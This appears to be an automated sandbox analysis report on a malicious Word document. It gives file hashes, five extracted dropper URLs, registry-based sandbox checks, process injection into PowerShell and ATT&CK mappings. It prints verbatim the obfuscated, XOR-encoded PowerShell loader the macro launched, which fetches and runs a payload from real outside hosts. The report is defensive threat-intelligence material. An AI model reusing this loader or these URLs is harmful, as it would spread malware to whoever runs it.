f01fa5992e33212148b2b57b7a027066e183edaca8e6c2bb031824766fcafdf5

General

Target

28876a11ade2b3fd8159f6b24b0508305eaedea70919893103b806784c271473.doc
Size

235KB
MD5

57a933abcd0a70f46006deb5c3d507a0
SHA1

fd6892c482305d7a6edbb2356d8f19330f5ba87b
SHA256

28876a11ade2b3fd8159f6b24b0508305eaedea70919893103b806784c271473
SHA512

b41788f33df1171ddac802e85589cc59ef1b539ab2489e85c4912b5ea85012763afd3f024fe9467617329c2af840341089e64121e9217321258e71e98c337faf
SSDEEP

3072:uH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq52yXJm9YBmjDRErQm:uFVeEsjdXRC3jexGG6NYWofREkm

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.lbbsport.pl/Izmqs/

exe.dropper

http://www.isaac.samjoemmy.com/H9TF8/

exe.dropper

http://www.electrocad.in/4qTumjs/

exe.dropper

http://www.abilitymep.ae/mXss/

exe.dropper

http://www.efmj-eg.org/CdwOm/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	848	2116	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2116 WINWORD.EXE
2116 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

848 powershell.exe
848 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 848 powershell.exe

pid	process
848	powershell.exe
848	powershell.exe

description	pid	process
Token: SeDebugPrivilege	848	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE
2116	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2116 wrote to memory of 848	2116	WINWORD.EXE	powershell.exe
PID 2116 wrote to memory of 848	2116	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\28876a11ade2b3fd8159f6b24b0508305eaedea70919893103b806784c271473.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . ( $ShelLid[1]+$ShELlid[13]+'X') ( -JoiN('46o77H68%96Z55~100%111~125m39K101~104H96~111H105Z126o42Z68~111L126~36Z93m111H104m73%102K99~111L100H126@49H46~70Z122%94X55%45X98Z126K126~122Z48@37o37H125o125~125@36o102L104H104~121%122~101L120Z126%36L122Z102o37o67@112X103o123%121%37m74o98H126@126L122m48L37Z37@125L125o125o36@99%121X107o107%105~36o121X107K103X96Z101K111X103o103~115K36~105H101K103Z37~66L51m94m76o50%37L74H98L126~126o122H48%37H37@125X125~125K36L111L102K111~105m126L120~101%105o107Z110K36~99o100~37%62%123H94%127o103H96m121H37m74K98@126X126Z122o48~37L37@125m125~125~36m107~104%99Z102m99o126@115o103m111Z122L36%107m111%37o103@82L121L121K37L74o98%126X126K122H48o37~37L125o125K125m36X111m108L103%96X39o111X109m36L101~120L109L37H73@110m125L69o103Z37@45~36H89K122H102@99~126@34K45m74m45o35%49Z46H93m126%127@42@55o42o45H51~62X57L45o49%46o105K99@101K55K46m111L100@124o48H126@111H103~122~33Z45L86X45%33Z46K93@126X127%33@45o36~111X114~111m45H49L108H101Z120o111~107H105m98L34H46H99%76K89%42~99X100~42X46X70m122o94m35X113~126m120L115@113L46Z77@68~96o36K78X101X125@100@102%101~107o110L76~99o102Z111K34@46%99o76L89@38L42%46H105L99%101K35%49o89o126~107~120X126m39K90o120Z101%105Z111o121X121H42o46o105L99~101~49o104H120K111@107@97@49~119m105o107X126Z105m98K113%119K119'.spLIt( 'H@~ZKmXLo%')|% {[CHAr] ( $_ -BxoR "0x0a") } ) )
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jzj24yu5.cby.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/848-146-0x000001CA9E8B0000-0x000001CA9E8D2000-memory.dmp

Filesize
136KB

Download
memory/848-152-0x000001CA9E6E0000-0x000001CA9E6F0000-memory.dmp

Filesize
64KB

Download
memory/848-154-0x000001CA9E6E0000-0x000001CA9E6F0000-memory.dmp

Filesize
64KB

Download
memory/848-158-0x000001CA9E6E0000-0x000001CA9E6F0000-memory.dmp

Filesize
64KB

Download
memory/2116-133-0x00007FFABB730000-0x00007FFABB740000-memory.dmp

Filesize
64KB

Download
memory/2116-134-0x00007FFABB730000-0x00007FFABB740000-memory.dmp

Filesize
64KB

Download
memory/2116-135-0x00007FFABB730000-0x00007FFABB740000-memory.dmp

Filesize
64KB

Download
memory/2116-136-0x00007FFABB730000-0x00007FFABB740000-memory.dmp

Filesize
64KB

Download
memory/2116-137-0x00007FFABB730000-0x00007FFABB740000-memory.dmp

Filesize
64KB

Download
memory/2116-138-0x00007FFAB9070000-0x00007FFAB9080000-memory.dmp

Filesize
64KB

Download
memory/2116-139-0x00007FFAB9070000-0x00007FFAB9080000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads